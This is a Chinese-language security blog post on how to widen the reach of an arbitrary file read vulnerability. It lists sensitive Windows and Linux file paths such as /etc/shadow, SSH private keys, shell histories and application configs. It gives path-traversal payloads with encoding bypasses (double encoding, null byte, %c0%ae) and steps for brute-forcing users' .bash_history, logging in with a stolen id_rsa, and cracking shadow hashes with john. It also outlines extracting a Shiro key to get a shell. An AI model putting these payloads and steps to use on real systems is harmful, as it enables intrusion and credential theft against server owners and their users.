百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

漏洞挖掘之文件漏洞后利用姿势「网络安全」

lipiwang 2024-11-02 13:39 14 浏览 0 评论

前言

当我们遇到任意文件读取漏洞的时候,我们需要考虑如何通过这一个小点去扩大我们的成果,达到最大化利用的目的。在这里介绍一些在我们拿到任意文件读取点后的深入利用姿势,希望对大家能有所帮助。

常见读取的敏感文件路径

windows

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
......

Linux

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/redhat-release 系统版本 
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie   内网IP
/proc/self/environ   环境变量
/proc/self/loginuid   当前用户
......

绕过思路

【一一帮助安全学习,所有资源关注我,私信回复"资料"获取一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥信息收集80条搜索语法
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

可以进行fuzz

url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd

二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd

加入+
?filename=.+./.+./bin/redacted.dll

%00
?filename=.%00./file.php
/etc/passwd%00.jpg

\
?filename=..%5c..%5c/windows/win.ini

Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Linux下的常见利用姿势
用户目录下的敏感文件

.bash_history 
.zsh_history
.psql_history
.mysql_history
.profile 
.bashrc
.gitconfig
.viminfo

任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
读history:../../root/.bash_history
暴破所有用户的.bash_history:../../../home/§root§/.bash_history

历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等等,可进一步读取或利用。
PS:如要下载文件,可能会导致过大文件下载失败,可以使用wget进行下载,比如catanlina.out日志文件、war包、备份文件等等。
主机凭证文件

私钥文件

/root/.ssh/id_rsa  私钥

/root/.ssh/authorized_keys  公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥

私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用xshell等软件选择证书登录。
ssh -i id_rsa root@IP地址

系统密码

/etc/passwd

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
......

用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell

可以看到哪些用户可以登录

/etc/shadow

root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
$id$salt$密文

id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。
注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。
格式 算法

$1	md5
$2a	blowfish
$2y	blowfish
$5	sha-256
$6	sha-512

在线查询

https://www.cmd5.com/

john破解
unshadow /etc/passwd /etc/shadow > test_passwd
john --wordlist=字典路径 test_passw
默认密码字典位于/usr/share/john/password.ls

全路径

mlocate.db数据库里存储了本地所有文件的配置信息
/var/lib/mlocate/mlocate.db
利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息
locate mlocate.db config把包含config的路径全输出出来
locate mlocate.db webapps
locate mlocate.db www

获取到路径后可以进一步挖掘敏感信息和系统漏洞
程序源代码

利用全路径或者其他地方获取到的路径读取一些关键的程序源码。
读取WEB-INF/web.xml,进一步读取class文件,反编译得到源码。
读取war包,反编译获取源码。
应用配置文件

获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。

java站点
/WEB-INF/web.xml
/WEB-INF/classes/applicationContext.xml
/WEB-INF/classes/xxx/xxx/xxx.class

core.jar如果遇到Shiro站点,可以直接利用全路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode直接找key,进而getshell。

tomcat
/usr/local/tomcat/conf/tomcat-users.xml

nginx
/www/nginx/conf/nginx.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf

apache
/etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf

redis
/etc/redis.conf

ssh
/etc/ssh/sshd_config

应用日志文件

利用日志文件获取网站后台地址、api接口、备份、等等敏感信息。

tomcat
可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径
/webapps/ROOT/logs/catalina.out

apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log

nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/var/log/nginx/access.log
/usr/local/nginx/logs

Windows下的利用姿势
盲读取桌面文件

有些时候,管理员会图方便,在桌面存储一些敏感的文件,我们可以直接对桌面的一些文件名进行fuzz,比如1.txt、2.txt、密码.txt、pass.txt等等,进一步扩大战果。

总结

在漏洞利用层面,除了去关注一键RCE,我们也可以试着去思考一下其他类型漏洞的最大化利用。当一个微小的漏洞和神奇的思路碰撞在一起,往往也能产生意想不到的效果。发散你的思维,让漏洞发挥出最大的价值!

相关推荐

lushdns – 如何使用 Windows ipconfig /flushdns 命令刷新 DNS

您可能已经注意到,第一次访问网站后,下次访问时该网站的加载速度会更快。这是因为您的操作系统或浏览器(如果是GoogleChrome)会缓存您访问的任何网站的IP地址和DNS(域名系统)信息。...

Windows10电脑无法直接连接已保存无线网络逐步排查和解决方案

可能原因分析IP地址冲突:系统未能正确获取或释放IP地址,导致与路由器通信失败。DNS缓存/网络配置错误:旧的缓存或错误配置阻碍新连接。无线网卡驱动问题:驱动不兼容或存在故障。电源管理干扰:系统为省电...

删除电脑dns缓存(如何删除dns缓存)

用Windows+R快捷键打开「运行」,输入cmd,然后按Ctrl+Shift+Enter以管理员权限启动「命令提示符」。输入:ipconfig/flushdns回车...

电脑插网线无法上网的系统化解决方案

当电脑插上网线却无法访问网络时,可从物理连接、网络配置、驱动程序、系统设置等多维度排查问题。以下按优先级排序的解决方案,助你高效定位并解决故障。一、基础排查(解决80%常见问题)检查物理连接首先确...

《银与绯》国服海外畅玩解决方案(银绯什么意思)

对于海外玩家想要体验《银与绯》国服,使用SixFast游戏加速器是最佳选择。以下是详细操作指南:一、SixFast完整配置流程1.获取SixFast客户端-官网下载:访问sixfast.com选择对...

steam打不开/商店打不开的最新解决方法来了

steam打不开/商店打不开的最新解决方法来了Steam平台采用了统一的账户系统,玩家只需注册一个账户,就可以在平台上购买、下载和玩游戏。遇到Steam平台或商店打不开的烦恼?别担心,这里有几个简单实...

电脑恢复DNS最简单方法(如何恢复dns默认设置)

当电脑遇到DNS(域名系统)问题时,通常表现为无法访问某些网站或整个网络浏览变得缓慢而不稳定。DNS负责将人类可读的域名(如www.example.com)转换为机器可读的IP地址(如192.0.2....

WiFi越用越慢?几个简单操作让网络满血复活

关注硬件·聪明消费|欢迎关注钛师父动图:耳机震膜工作原理WiFi用了一段时间后便慢了?这恐怕不是幻觉,也不是运营商的猫腻,显然没有人会像苹果一样刻意降低你的网速逼你换套餐甚至换运营商。大多时候这样...

Win11快速开启DNS加密功能(国内可用)

今天我花了三个小时仔细研究了Windows的DNS加密(DoH)相关的内容,最终成功开启了国内可用的DNS加密功能,如果你还不知道什么是DoH并对原理感兴趣,可以参考这篇文章:https://zhua...

如何在 Windows 11 或 10 中使用 CMD 清除缓存

当你使用操作系统的时间变长,随着时间推移,缓存文件的积累可能会导致Windows11或10系统变慢,还会占用宝贵的存储空间,尤其是当您使用M.2固态硬盘的时候。因此,定期清除缓存文件或许...

绝地求生PUBG商店买不了东西Steam界面一直刷新加载的解决办法

在绝地求生(PUBG)的最新更新中,游戏引入了一系列新功能和优化,包括地图改进、武器平衡调整以及新的皮肤和物品。然而,随之而来的是一些玩家在尝试从游戏内商店购买这些新鲜内容时遇到了绝地求生PUBG商店...

Win11正式版网络错误访问提示0x800704cf的问题

有深度技术的用户在win11正式版系统电脑中出现网络错误提示0x800704cf错误代码,那么如何解决这个问题?接下来,深度官网小编为大家带来详细的解决方案,大家可以一起来看看。当Win11正式版...

网站维护进不去怎么办(网站在维护期间进不去)

当遇到网站无法访问并显示维护提示时,可能是临时维护,也可能存在其他故障。以下提供系统的排查步骤与解决方法,助你快速定位问题并解决。一、判断网站是否处于真实维护状态1.官方渠道信息核查公告查询:访问网...

网络适配器在设备管理器中消失的恢复方案

网络适配器(网卡)在设备管理器中突然消失,会导致设备无法正常联网,这通常由驱动异常、系统冲突或硬件故障引起。为帮助你高效解决问题,以下提供按操作复杂度由易到难排序的逐步恢复方案,请依次尝试。一、基础排...

【电脑蓝屏】常见的电脑问题解决方法

一、系统问题1.电脑开机慢/卡顿解决方法:关闭开机启动项:Ctrl+Shift+Esc→启动→禁用不必要的程序。清理磁盘:Win+S→搜索“磁盘清理”→勾选临时文件、...

取消回复欢迎 发表评论: